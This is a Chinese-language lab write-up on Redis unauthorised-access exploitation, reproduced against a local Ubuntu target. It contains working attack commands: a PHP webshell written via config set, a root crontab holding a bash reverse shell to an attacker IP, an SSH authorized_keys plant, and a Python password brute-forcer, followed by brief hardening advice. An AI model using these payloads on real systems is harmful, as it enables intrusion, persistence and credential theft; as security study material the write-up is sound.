一、漏洞描述
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
二、漏洞特征
开放6379端口,可尝试免密登录
漏洞版本:Redis 2.x,3.x,4.x,5.x
redis-cli -h x.x.x.x
或
redis-cli -h x.x.x.x -p 6379
三、漏洞复现
环境搭建
攻击机:Kali2020.1
靶机:Ubuntu20 + Redis2.8.17
1、下载环境
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
2、解压并进入安装目录
tar xzf redis-2.8.17.tar.gz
make
报错:
gcc: Command not found
解决:安装gcc
apt install gcc
清理编译文件,重新编译
make distclean && make
3、
拷贝关键文件
cp redis.conf /etc/
cd src
cp redis-benchmark redis-cli redis-server /usr/bin/
4、启动
./redis-server #src目录
漏洞复现
无密码登录
redis-cli -h 192.168.24.79 #登录
登陆成功
写webshell
前提:登陆成功、知道路径(phpinfo或错误暴路径等)、读写权限等
因为没有搭建网站环境,这里写在用户根目录
config set dir /home/chen/
config set dbfilename redis.php
set webshell "<?php phpinfo();?>"
或
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save
靶机成功写入
定时反弹shell
需要管理员权限
nc -lvnp 4444 # 攻击机开启监听
# 连接redis,写定时反弹shell
redis-cli -h 192.168.24.79
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.24.82/4444 0>&1\n\n" #每分钟执行一次反弹连接
save
注意!
1、Ubuntu系统需要以管理员权限更改/bin下的软链接指向
ln -s -f bash /bin/sh # 定时任务bash为dash,无交互功能
2、Ubuntu下定时任务乱码则不执行,需手动删除乱码
3、redis远程连接创建定时任务权限为644,但是定时任务权限需要为600才可执行
chmod 600 root
解决以上坑点,成功反弹shell
但是这样意义不大,据说centos无以上坑点。
ssh登录
1、攻击机生成ssh密钥(空密码)
ssh-keygen -t rsa # 全部回车
cd .ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt # 写入公钥
2、设置redis变量
cat ./key.txt | redis-cli -h 192.168.24.79 -x set tide # 将公钥内容设置给redis变量(靶机ip)
3、连接redis并写入
redis-cli -h 192.168.24.79
config set dir /root/.ssh # 默认公私钥路径
config set dbfilename authorized_keys # 写入authorized_keys
save
4、检查靶机文件是否写入–已写入(同样带有乱码)
5、攻击机进行ssh连接
ssh -o StrictHostKeyChecking=no 192.168.24.79 # 首次连接需要加-o StrictHostKeyChecking=no
连接成功
(注:靶机需要安装ssh服务并关闭防火墙,或者允许22端口通过防火墙)
附Ubuntu安装ssh
sudo apt-get install openssh-server # 安装ssh
sudo /etc/init.d/ssh start # 开启ssh
ufw allow 22/tcp # 允许通过防火墙
或
sudo ufw disable # 不建议
主从复制
redis:4.x - redis:5.0.5版本漏洞,redis开启主从复制,主从数据相同,主redis只写,从redis只读,从而减小服务器压力。在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so恶意文件,就可以拓展新命令。
到这里懒癌犯了,不想搭环境了,附上脚本下载链接,直接过,遇到回头再来。
https://github.com/n0b0dyCN/redis-rogue-server
这里还有个内网redis利用姿势–gopher协议,一并懒过去。
暴力破解
感觉这个比较实用,弱口令yyds!
准备:
打开redis.conf配置文件,找到requirepass,去掉注释,修改后面的参数,即为密码
密码登录
redis-cli -h 192.168.24.79 -a password
以上,开始编写Python脚本
#!/usr/bin/python
# -*- coding:utf-8 -*-
"""
描述:redis未授权访问探测 + 密码爆破
author: chen
date: 2021-07-03
"""
import socket
import sys
import threading
import queue
import os
def poc():
global flag
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
# 发送INFO,如果无密码则返回服务器信息,包含版本信息;如果有密码,则返回“-NOAUTH Authentication required”
s.send('INFO\r\n'.encode('utf-8'))
result = s.recv(1024).decode('utf-8')
if "redis_version" in result:
print("存在redis未授权访问漏洞!")
flag = True
elif "Authentication" in result:
flag = False
else:
print("未知错误")
flag = None
s.close()
def burst():
while not q.empty():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
_pass = q.get()
msg = "AUTH " + _pass + "\r\n" # AUTH pass 为redis密码格式
s.send(msg.encode('utf-8'))
result = s.recv(1024).decode('utf-8')
if '+OK' in result:
print("存在弱口令,密码为%s" % _pass)
exit()
if __name__ == '__main__':
if len(sys.argv) != 5:
print("请按照格式输出:\n")
print("redis.py 10.10.10.10 6379 字典名 线程数 \n")
flag = True
q = queue.Queue()
ip = sys.argv[1]
port = int(sys.argv[2])
dic = sys.argv[3]
thread = sys.argv[4]
poc()
if flag:
exit()
else:
path = os.path.dirname(os.path.realpath(__file__)) # 获取当前脚本目录
for i in open(path + '/' + dic):
q.put(i.strip()) # 清洗字符,去掉头尾的换行和空格
for i in range(int(thread)):
t = threading.Thread(target=burst(), daemon=True)
t.start()
while True:
pass
结果:
空密码:
设置密码
————————————————————————————————————————————————————————————
修改脚本,链接:
Pocsuite3重写redis脚本 (zerochen.top)
四、修复
指定ip登录
在redis.conf文件找到# bind 127.0.0.1,去掉注释,修改为指定的登录ip
缺点:多点登陆失效。
增加密码
打开redis.conf配置文件,找到requirepass,去掉注释,修改后面的参数,即为密码